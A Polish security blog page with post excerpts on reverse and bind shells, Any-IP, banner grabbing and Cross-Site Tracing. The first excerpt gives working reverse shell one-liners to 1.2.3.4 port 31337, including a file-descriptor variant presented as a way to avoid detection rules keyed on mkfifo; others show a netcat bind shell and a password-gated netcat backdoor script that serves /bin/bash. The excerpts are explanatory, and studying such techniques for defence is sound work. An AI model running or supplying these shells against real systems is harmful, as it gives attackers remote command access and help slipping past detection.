J

eśli kiedykolwiek próbowaliśmy stworzyć reverse shell, czy to za pomocą telnet, czy OpenSSL – prawdopodobnie miały one wspólny układ:

mkfifo /tmp/f; nc 1.2.3.4 31337 </tmp/f | sh >/tmp/f; rm /tmp/f

Na początku tworzony jest nazwany potok FIFO za pomocą polecenia mkfifo w ścieżce /tmp/f. Następnie uruchamiany jest program binarny (tutaj netcat), który pobiera dane wejściowe z tego potoku. Całość danych wyjściowych z programu binarnego jest przekazywana zwykłym potokiem (ang. pipe) do procesu powłoki sh. Wyjście powłoki jest przesyłane z powrotem przez nazwany potok FIFO do wejścia programu binarnego. Gdy program binarny i powłoka sh zakończą swoje działanie, polecenie rm usuwa nazwany potok FIFO w ścieżce /tmp/f.

Plik specjalny FIFO (nazwany potok) jest podobny do zwykłego potoku (|), z wyjątkiem tego, że jest dostępny jako część systemu plików. Może być otwierany przez wiele procesów w celu odczytu i zapisu. Gdy procesy wymieniają dane za pośrednictwem FIFO, jądro przekazuje wszystkie dane wewnętrznie bez zapisywania ich w systemie plików. Tak, więc specjalny plik FIFO nie ma zawartości w systemie plików – wpis w systemie plików służy jedynie jako punkt odniesienia, dzięki czemu procesy mogą uzyskać dostęp do potoku przy użyciu nazwy w systemie plików.

Polecenie mkfifo jest tutaj koniecznie, ponieważ potrzebujemy dwóch kanałów komunikacji: netcat do sh oraz sh do netcat, a potok użyty w powłoce (|) daje tylko jednokierunkowy prymityw. Istnieje wiele wad korzystania z mkfifo. Dość powszechne jest tworzenie reguł wykrywających tego typu ładunki poleceń przez niebieskie zespoły (ang. blue teams). Ponieważ programy binarne są tutaj wymienne (nc, telnet, openssl) włączenie programu mkfifo do sygnału wykrywania odwróconych powłok jest naturalnym krokiem. Poza tym krok czyszczenia (rm /tmp/f) czasami kończy się niepowodzeniem, pozostawiając błędny plik FIFO. Wreszcie – nie zawsze można znaleźć zapisywalne lokalizacje na systemie plików np. gdy procesy uruchomione są w chroot lub kontenerze w trybie tylko do odczytu.

Jak możemy wykluczyć to polecenie? Na przykład tak:

{ nc 1.2.3.4 31337 </dev/fd/3 3>&- | sh >&3 3>&- ; } 3>&1 | :

Tworzymy podpowłokę (ang. subshell) za pomocą { } lub ( ), w której zamykamy kilka poleceń. Dane wyjściowe z tej podpowłoki potokiem przekazujemy do tzw. polecenia NOP (ang. do-nothing operation), czyli dwukropka (:) wcześniej przekierowując dane wyjściowe deskryptora pliku o numerze 3 na standardowe wyjście (3>&1). Wewnątrz podpowłoki program binarny netcat pobiera dane wejściowe z deskryptora pliku o numerze 3 (</dev/fd/3), który następnie jest zamykany (3>&-) – całość danych wyjściowych jest przekazywana potokiem to powłoki sh. Następnie powłoka sh pobiera dane wejściowe z programu binarnego netcat i przekazuje swoje dane wyjściowe ponownie do deskryptora plików numer 3 również go zamykając, aby uniknąć dodatkowych zwisających odwołań do ponownie użytego deskryptora. W ten sposób unikając polecenia mkfifo uzyskaliśmy możliwość odczytu, jak i zapisu do struktury potoku w pamięci systemu Linux.

Więcej informacji: fifo, Something’s special about /dev/fd/3, What does minus mean in “exec 3>&-” and how do I use it?, Czysta funkcja bash do pobierania i uruchamiania ładunków, Linux shellcraft: the pipe trick

Z

ałóżmy, że uruchomiliśmy już “odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!

Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:

agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
[ czytaj całość… ]

A

ny-IP w Linuksie to możliwość odbierania pakietów i nawiązywania połączeń przychodzących na adresy IP, które nie są jeszcze skonfigurowane na hoście. Umożliwia to skonfigurowanie serwera, aby odpowiadał w określonym zakresie adresacji sieciowej jakby była ona lokalną – bez konieczności konfigurowania adresów na interfejsie. Dla przykładu: chcemy, aby nasza maszyna odpowiadała dla całej adresacji 192.168.0.0/24 bez konieczności konfiguracji każdego adresu IP na interfejsie/sach.
[ czytaj całość… ]

Prosty skrypt autorstwa Vittorio Milazzo ukazujący sposób przyznania powłoki za pomocą netcat dopiero po podaniu hasła:

#!/bin/bash
ncpassword () {
NC="/bin/netcat"
PORT="999"
PASSWORD="123456"
SHELL="/bin/bash"

echo -n "Enter password: "

stty -echo
read  mypass
stty echo

if [ ${mypass} = $PASSWORD ]
  then
    echo "Access granted...start netcat shell on port $PORT"
    while true; do $NC -l -p $PORT -e $SHELL; done
  else
    echo "Incorrect Password"
fi
}

ncpassword
sh $0

B

anner Grabbing jest bardzo prostą techniką zbierania informacji na temat wersji używanego oprogramowania. W kontekście administracji sieci komputerowych służy do rozpoznawania i zarządzania różnego rodzaju oprogramowaniem. Administratorzy mogą używać jej do wykonywania spisu systemów i usług uruchomionych w swoich sieciach. Niestety intruzi przechwytywanie banerów wykorzystują w tym samym celu – pasywnego zebrania największej ilości danych o oprogramowaniu znajdującym się w atakowanej sieci i sprawdzeniu czy uruchomione wersje nie są podatne na różne ataki przy pomocy exploitów.
[ czytaj całość… ]

W

2003 roku firma WhiteHat Security odkryła nową formę ataku, którą nazwano – XST (ang. Cross-Site Tracing). Wykorzystuje ona wywołanie TRACE protokołu HTTP. Wywołanie metody TRACE odpowiada za diagnostykę oraz analizę kanału komunikacyjnego. Dlatego wysłanie zapytania przez klienta do serwera WWW za pomocą metody TRACE będzie zawierać w odpowiedzi serwera wszystkie dane wysłane przez użytkownika np. informacje o ciasteczkach, czy dane autoryzacyjne, które są cenne dla potencjalnego agresora.
[ czytaj całość… ]